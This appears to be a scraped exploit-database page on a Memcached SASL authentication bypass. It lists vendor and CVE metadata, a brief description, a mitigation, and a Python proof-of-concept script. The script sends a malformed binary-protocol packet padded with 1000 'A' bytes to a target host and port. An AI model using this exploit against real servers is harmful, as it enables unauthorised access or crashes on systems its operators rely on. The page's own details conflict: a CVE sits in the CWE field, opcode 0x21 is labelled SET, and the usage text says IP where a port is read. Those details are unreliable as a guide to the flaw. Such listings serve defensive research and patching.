header-logo
Suggest Exploit
vendor:
Memcached
by:
Seebug
7,5
CVSS
HIGH
Authentication Bypass
287
CWE
Product Name: Memcached
Affected Version From: 1.5.6
Affected Version To: 1.5.9
Patch Exists: YES
Related CWE: CVE-2018-1000115
CPE: a:memcached:memcached
Metasploit: https://www.rapid7.com/db/vulnerabilities/ubuntu-cve-2018-1000115/, https://www.rapid7.com/db/vulnerabilities/debian-cve-2018-1000115/, https://www.rapid7.com/db/vulnerabilities/amazon-linux-ami-2-cve-2018-1000115/, https://www.rapid7.com/db/vulnerabilities/huawei-euleros-2_0_sp2-cve-2018-1000115/, https://www.rapid7.com/db/vulnerabilities/alpine-linux-cve-2018-1000115/, https://www.rapid7.com/db/vulnerabilities/huawei-euleros-2_0_sp3-cve-2018-1000115/, https://www.rapid7.com/db/vulnerabilities/huawei-euleros-2_0_sp5-cve-2018-1000115/, https://www.rapid7.com/db/vulnerabilities/amazon_linux-cve-2018-1000115/, https://www.rapid7.com/db/vulnerabilities/suse-cve-2018-1000115/, https://www.rapid7.com/db/vulnerabilities/oracle-solaris-cve-2018-1000115/, https://www.rapid7.com/db/vulnerabilities/memcached-cve-2018-1000115/
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Linux, Windows, Mac
2018

Memcached SASL Authentication Bypass Vulnerability

This exploit is related to the CVE-2018-1000115 vulnerability in Memcached. This vulnerability allows an attacker to bypass the authentication process of Memcached and gain access to the server. The exploit is written in Python and uses a socket connection to send a specially crafted packet to the server. The packet contains a MEMCACHED_REQUEST_MAGIC, OPCODE_SET, key_len, body_len, and a payload of 1000 bytes. Upon receiving the packet, the server will respond with a confirmation message.

Mitigation:

Upgrade to the latest version of Memcached.
Source

Exploit-DB raw data:

# Source: http://paper.seebug.org/95/

import struct  
import socket  
import sys


MEMCACHED_REQUEST_MAGIC = "\x80"  
OPCODE_SET = "\x21"  
key_len = struct.pack("!H",32)  
body_len = struct.pack("!I",1)  
packet = MEMCACHED_REQUEST_MAGIC + OPCODE_SET + key_len +   body_len*2 + "A"*1000  
if len(sys.argv) != 3:  
    print "./poc_sasl.py <server> <ip>"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect((sys.argv[1],int(sys.argv[2])))  
s.sendall(packet)  
print s.recv(1024)  
s.close()

Navigation

Suggest Exploit

Services By CQR